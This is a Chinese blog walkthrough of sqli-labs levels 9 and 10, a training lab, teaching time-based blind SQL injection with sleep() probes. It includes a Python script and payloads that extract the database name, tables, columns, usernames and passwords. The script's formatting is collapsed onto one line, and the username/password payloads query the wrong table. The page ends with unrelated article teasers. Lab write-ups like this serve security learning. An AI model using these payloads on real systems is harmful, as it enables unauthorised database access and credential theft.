sqli-labs注入漏洞解析--less-9/10
第九关:
这一关相比第八关,第八关他正确显示you are in,错误不显示you are in,但是第九关你不管是输入正确或者错误都显示 you are in ,这个时候布尔盲注就不适合我们用,所以我们的换一下思路,布尔盲注适合页面对于错误和正确结果有不同反应。如果页面一直不变这个时候我们可以考虑使用时间盲注。


判断注入点
基于时间的注入(延时注入)
1. Time-based blind SQL injection
2.利用前提:页面没有显示位,也没有输入SQL语句执行错误信息,正确的SQL语句和错误的返回页面都一样,但
是加入sleep(5)条件后,正确的SQL语句页面返回速度明显慢了5秒,错误的SQL语句立即返回。
3.优点:不需要显示位,不需要报错信息。
4.缺点:速度慢,耗费大量时间
5.用法:IF(Condition,A,B)函数
当Condition为TRUE时,返回A;否则返回B。
6.示例: SELECT * FROM users WHERE id=1 AND IF(ASCII(SUBSTR(USER(),1,1))>65 ,SLEEP(5),1);
?id=1' and sleep(3) --+ 有明显延迟
?id=1" and sleep(3) --+ 无延迟
?id=1') and sleep(3) --+ 无延迟说明这里的闭合是单引号。 位数暂时不判断了,用脚本的话不需要位数
当请求错误时,延迟时间在3S以后

当请求正确时,延迟时间很短,在3S以内

基于这个我们就可以写脚本来帮助我们注入
import time
import requests
url = "http://127.0.0.1/sqli-labs-php7-master/Less-9/index.php"
#二分法
def inject_database(url):name=""for i in range(1,20):low =32high = 128mid = (low + high) // 2while low < high:payload = "1' and if(ascii(substr(database(),%d,1)) > %d,sleep(1),0)-- " % (i, mid)params = {"id": payload}start_time = time.time()r = requests.get(url,params=params)end_time = time.time()if end_time - start_time >= 1:low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:breakname += chr(mid)print(name)inject_database(url)

有点慢,但是也是成功拿下数据
下边的操作和之前的一样
爆表
payload = "1' and if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema='security'),%d,1)) > %d,sleep(1),0)-- " % (i, mid)
爆字段
payload = "1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security'and table_name='users'),%d,1)) > %d,sleep(1),0)-- " % (i, mid)
username,password
payload = "1' and if(ascii(substr((select group_concat(username) from information_schema.columns where table_schema='security'and table_name='users'),%d,1)) > %d,sleep(1),0)-- " % (i, mid)
payload = "1' and if(ascii(substr((select group_concat(password) from information_schema.columns where table_schema='security'and table_name='users'),%d,1)) > %d,sleep(1),0)-- " % (i, mid)

拿下
第十关:
和第九关不一样的就是这里是双引号

还是时间盲注,稍微修改,直接使用


成功拿到数据库 ,后边的操作都是如法炮制!!!
相关文章:
sqli-labs注入漏洞解析--less-9/10
第九关: 这一关相比第八关,第八关他正确显示you are in,错误不显示you are in,但是第九关你不管是输入正确或者错误都显示 you are in ,这个时候布尔盲注就不适合我们用,所以我们的换一下思路,布尔盲注适合页面对于错误和正确结果…...
文心智能体平台:食尚小助,提供美食推荐和烹饪指导
文章目录 前言文心智能体平台介绍创建自己的智能体我的文心智能体体验地址总结 前言 在快节奏的现代生活中,许多人都希望能够享受美味的食物,但往往缺乏时间和精力来自己动手烹饪。为了解决这一问题,文心智能体平台推出了“食尚小助”智能体…...
工作中,如何有效解决“冲突”?不回避,不退让才是最佳方式
职场里每个人都在争取自己的利益,由于立场的不同,“冲突”不可避免。区别在于有些隐藏在暗处,有些摆在了台面上。 隐藏在“暗处”的冲突,表面上一团和气,实则在暗自较劲,甚至会有下三滥的手段;…...
Qt读写配置(ini)文件
本文介绍Qt读写配置(ini)文件。 1.配置文件(ini)简介 配置文件(ini)也叫ini文件(Initialization File),即初始化文件。它由节名,键名,键值构成。…...
Python笔试面试题AI答之面向对象(2)
文章目录 6.阐述 Python自省(机制与函数) ?7.简述Python中面向切面编程AOP和装饰器?面向切面编程(AOP)基本概念核心原理应用场景Python中的实现方式 装饰器(Decorator)基本概念语法应…...
Python学习计划——12.1选择一个小项目并完成
在这节课中,我们将选择一个小项目并完成它。为了综合运用前面所学的知识,我们选择构建一个简单的Web应用,该应用将包含数据分析和展示功能。我们将使用Flask框架和Pandas库来处理数据,并将结果展示在Web页面上。 项目:…...
uniapp 多渠道打包实现方案
首先一个基础分包方案: 包不用区分渠道,只是通过文件名进行区分,公共代码逻辑可以通过mixins进行混入。 这样分包后就需要在打包时只针对编译的渠道包文件进行替换打包,其他渠道包的文件不打包进去,通过工具类实现…...
请你学习:前端布局3 - 浮动 float
1 标准流(也称为普通流、文档流) 标准流(也称为普通流、文档流)是CSS中元素布局的基础方式,它决定了元素在页面上的默认排列方式。这种布局方式遵循HTML文档的结构,不需要额外的CSS样式来指定元素的位置。…...
PyCharm 2024.1 总结和最新变化
您好,我是程序员小羊! 前言 PyCharm 2024.1 是 JetBrains 最新发布的Python集成开发环境(IDE),旨在提供更强大的功能和更好的用户体验。以下是对这个版本的总结和最新变化的介绍 智能代码建议和自动完成:…...
RGB红绿灯——Arduino
光的三原色 牛顿发现光的色散奥秘之后,进一步计算发现:七种色光中只有红、绿、蓝三种色光无法被分解,而其他四种颜色的光均可由这三种色光以不同比例相合而成。于是红、绿、蓝被称为“三原色光”或“光的三原色”。后经证实:红、绿…...
浅谈用二分和三分法解决问题(c++)
目录 问题引入[NOIP2001 提高组] 一元三次方程求解题目描述输入格式输出格式样例 #1样例输入 #1样例输出 #1 提示思路分析AC代码 思考关于二分和三分例题讲解进击的奶牛题目描述输入格式输出格式样例 #1样例输入 #1样例输出 #1 思路AC代码 平均数题目描述输入格式输出格式样例 …...
Cocos Creator2D游戏开发(9)-飞机大战(7)-爆炸效果
这个爆炸效果我卡在这里好长时间,视频反复的看, 然后把代码反复的测试,修改,终于给弄出来 视频中这段,作者也是修改了好几次, 跟着做也走了不少弯路; 最后反正弄出来了; 有几个坑; ① 动画体创建位置是enemy_prefab ② enemy_prefab预制体下不用放动画就行; ③ 代码中引用Anima…...
终于有人把华为认证全部说清楚了
在信息技术领域,华为认证好比一座金字招牌,吸引着无数技术专业人士的青睐。 市场上关于华为认证的声音纷繁复杂,存在不少争议,让人难以辨别真伪。 今天就来好好讲讲华为认证,从头到尾都帮你盘盘清楚。 01 华为认证是…...
【知识】pytorch中的pinned memory和pageable memory
转载请注明出处:小锋学长生活大爆炸[xfxuezhagn.cn] 如果本文帮助到了你,欢迎[点赞、收藏、关注]哦~ 目录 概念简介 pytorch用法 速度测试 反直觉情况 概念简介 默认情况下,主机 (CPU) 数据分配是可分页的。GPU 无…...
【系统架构设计】数据库系统(五)
数据库系统(五) 数据库模式与范式数据库设计备份与恢复分布式数据库系统数据仓库数据挖掘NoSQL大数据 数据库模式与范式 数据库设计 备份与恢复 分布式数据库系统 数据仓库 数据挖掘 对数据挖掘技术进行支持的三种基础技术已经发展成熟,…...
如何对人工智能系统进行测试|要点,方法及流程
当今社会,人工智能发展非常快。现在人工智能的发展已经渗透到了我们生活的方方面面,自动驾驶、或者我们手机里经常用到的一些应用都或多或少涉及到了一些人工智能的功能,比如说美图秀秀、新闻推荐、机器翻译以及个性化的购物推荐等等都涉及到…...
CVE-2023-37569~文件上传【春秋云境靶场渗透】
# 今天我们拿下CVE-2023-37569这个文件上传漏洞# 经过简单账号密码猜测 账号:admin 密码:password# 找到了文件上传的地方# 我们直接给它上传一句话木马并发现上传成功# 上传好木马后,右键上传的木马打开发现上传木马页面# 直接使用蚁剑进行连…...
MySQL简介 数据库管理与表管理
文章目录 1 MySQL的优势2 MySQL数据类型1 数字类型2 日期和时间类型3 字符串类型 3 数据库管理4 数据表管理参考 1 MySQL的优势 性能优化:通过优化存储引擎(InnoDB,MyISAM)和查询优化。解决大规模数据处理和查询优化开源…...
PHP 函数性能优化的技巧是什么?
本文由 ChatMoney团队出品 本文将详细介绍 PHP 函数性能优化的技巧。通过分析 PHP 函数的执行过程和性能瓶颈,提供一系列实用的优化方法,并结合代码示例,帮助读者提升 PHP 代码的执行效率。文章内容将涵盖变量作用域、递归算法、循环优化、内…...
小程序支付(前端)
前端只需要调用 wx.requestPayment(Object object) 文档 参考代码 const openId wx.getStorageSync(openId)payOrder({payId: this.data.resData.payId,openId}).then((res) > {console.log(2222, res);try {const data JSON.parse(res.res)console.log(22, data)const {…...
web vue 项目 Docker化部署
Web 项目 Docker 化部署详细教程 目录 Web 项目 Docker 化部署概述Dockerfile 详解 构建阶段生产阶段 构建和运行 Docker 镜像 1. Web 项目 Docker 化部署概述 Docker 化部署的主要步骤分为以下几个阶段: 构建阶段(Build Stage):…...
Lombok 的 @Data 注解失效,未生成 getter/setter 方法引发的HTTP 406 错误
HTTP 状态码 406 (Not Acceptable) 和 500 (Internal Server Error) 是两类完全不同的错误,它们的含义、原因和解决方法都有显著区别。以下是详细对比: 1. HTTP 406 (Not Acceptable) 含义: 客户端请求的内容类型与服务器支持的内容类型不匹…...
进程地址空间(比特课总结)
一、进程地址空间 1. 环境变量 1 )⽤户级环境变量与系统级环境变量 全局属性:环境变量具有全局属性,会被⼦进程继承。例如当bash启动⼦进程时,环 境变量会⾃动传递给⼦进程。 本地变量限制:本地变量只在当前进程(ba…...
Java如何权衡是使用无序的数组还是有序的数组
在 Java 中,选择有序数组还是无序数组取决于具体场景的性能需求与操作特点。以下是关键权衡因素及决策指南: ⚖️ 核心权衡维度 维度有序数组无序数组查询性能二分查找 O(log n) ✅线性扫描 O(n) ❌插入/删除需移位维护顺序 O(n) ❌直接操作尾部 O(1) ✅内存开销与无序数组相…...
解决Ubuntu22.04 VMware失败的问题 ubuntu入门之二十八
现象1 打开VMware失败 Ubuntu升级之后打开VMware上报需要安装vmmon和vmnet,点击确认后如下提示 最终上报fail 解决方法 内核升级导致,需要在新内核下重新下载编译安装 查看版本 $ vmware -v VMware Workstation 17.5.1 build-23298084$ lsb_release…...
基于Docker Compose部署Java微服务项目
一. 创建根项目 根项目(父项目)主要用于依赖管理 一些需要注意的点: 打包方式需要为 pom<modules>里需要注册子模块不要引入maven的打包插件,否则打包时会出问题 <?xml version"1.0" encoding"UTF-8…...
pikachu靶场通关笔记22-1 SQL注入05-1-insert注入(报错法)
目录 一、SQL注入 二、insert注入 三、报错型注入 四、updatexml函数 五、源码审计 六、insert渗透实战 1、渗透准备 2、获取数据库名database 3、获取表名table 4、获取列名column 5、获取字段 本系列为通过《pikachu靶场通关笔记》的SQL注入关卡(共10关࿰…...
sipsak:SIP瑞士军刀!全参数详细教程!Kali Linux教程!
简介 sipsak 是一个面向会话初始协议 (SIP) 应用程序开发人员和管理员的小型命令行工具。它可以用于对 SIP 应用程序和设备进行一些简单的测试。 sipsak 是一款 SIP 压力和诊断实用程序。它通过 sip-uri 向服务器发送 SIP 请求,并检查收到的响应。它以以下模式之一…...
Selenium常用函数介绍
目录 一,元素定位 1.1 cssSeector 1.2 xpath 二,操作测试对象 三,窗口 3.1 案例 3.2 窗口切换 3.3 窗口大小 3.4 屏幕截图 3.5 关闭窗口 四,弹窗 五,等待 六,导航 七,文件上传 …...
并发编程 - go版
1.并发编程基础概念 进程和线程 A. 进程是程序在操作系统中的一次执行过程,系统进行资源分配和调度的一个独立单位。B. 线程是进程的一个执行实体,是CPU调度和分派的基本单位,它是比进程更小的能独立运行的基本单位。C.一个进程可以创建和撤销多个线程;同一个进程中…...
